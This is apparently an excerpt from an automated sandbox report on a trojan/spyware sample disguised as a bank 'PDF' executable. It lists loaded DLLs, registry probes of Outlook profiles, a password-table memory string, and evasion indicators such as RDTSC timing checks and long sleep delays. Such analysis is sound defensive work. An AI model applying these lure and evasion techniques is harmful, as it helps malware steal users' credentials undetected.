            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378961214_2_37896121
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378931304_2_37893130
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378931404_2_37893140
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378900074_2_37890007
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3789E0304_2_3789E030
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378900404_2_37890040
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37894F994_2_37894F99
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37894FA84_2_37894FA8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37891E984_2_37891E98
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37891EA84_2_37891EA8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37893E384_2_37893E38
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37897E304_2_37897E30
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37893E484_2_37893E48
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37890D384_2_37890D38
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37890D484_2_37890D48
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37892CD84_2_37892CD8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37892CE84_2_37892CE8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37894B404_2_37894B40
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37894B504_2_37894B50
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37898ACA4_2_37898ACA
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37898AD84_2_37898AD8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37891A434_2_37891A43
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37891A504_2_37891A50
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378939E04_2_378939E0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378939F04_2_378939F0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378928904_2_37892890
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378908E34_2_378908E3
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378908F04_2_378908F0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3789287F4_2_3789287F
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_388FD4784_2_388FD478
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_388FE6284_2_388FE628
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_388F73D04_2_388F73D0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: String function: 00402B3A appears 47 times
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294255588.0000000035417000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: OriginalFilenameUNKNOWN_FILET vs Bank Swift and SOA PRN0072003410853_pdf.exe
            Source: Bank Swift and SOA PRN0072003410853_pdf.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@3/8@5/5
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_004045CA GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_004045CA
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_0040206A CoCreateInstance,0_2_0040206A
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeFile created: C:\Users\user\selvsikkerJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeMutant created: NULL
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeFile created: C:\Users\user\AppData\Local\Temp\nsm1F98.tmpJump to behavior
            Source: Bank Swift and SOA PRN0072003410853_pdf.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035713000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.00000000356F5000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3295375362.000000003663D000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035734000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035728000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035705000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeFile read: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess created: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess created: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: shfolder.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: riched20.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: usp10.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: msls31.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: rasapi32.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: rasman.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: rtutils.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior

            Data Obfuscation

            barindex
            Source: Yara matchFile source: 00000000.00000002.2518243952.00000000048D2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.3271650032.0000000002C42000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00406254
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_10002DA0 push eax; ret 0_2_10002DCE
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeFile created: C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dllJump to dropped file
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeAPI/Special instruction interceptor: Address: 4BF9E2C
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeAPI/Special instruction interceptor: Address: 2F69E2C
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeRDTSC instruction interceptor: First address: 4BC0F7A second address: 4BC0F7A instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FB6852FF95Ah 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeRDTSC instruction interceptor: First address: 2F30F7A second address: 2F30F7A instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FB68475705Ah 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeMemory allocated: D0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeMemory allocated: 35610000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeMemory allocated: 35520000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599890Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599781Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599672Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599562Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599453Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599344Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599219Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599109Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599000Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598890Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598781Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598672Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598562Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598453Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598344Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598219Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598109Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598000Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597890Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597781Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597671Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597562Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597453Jump to behavior
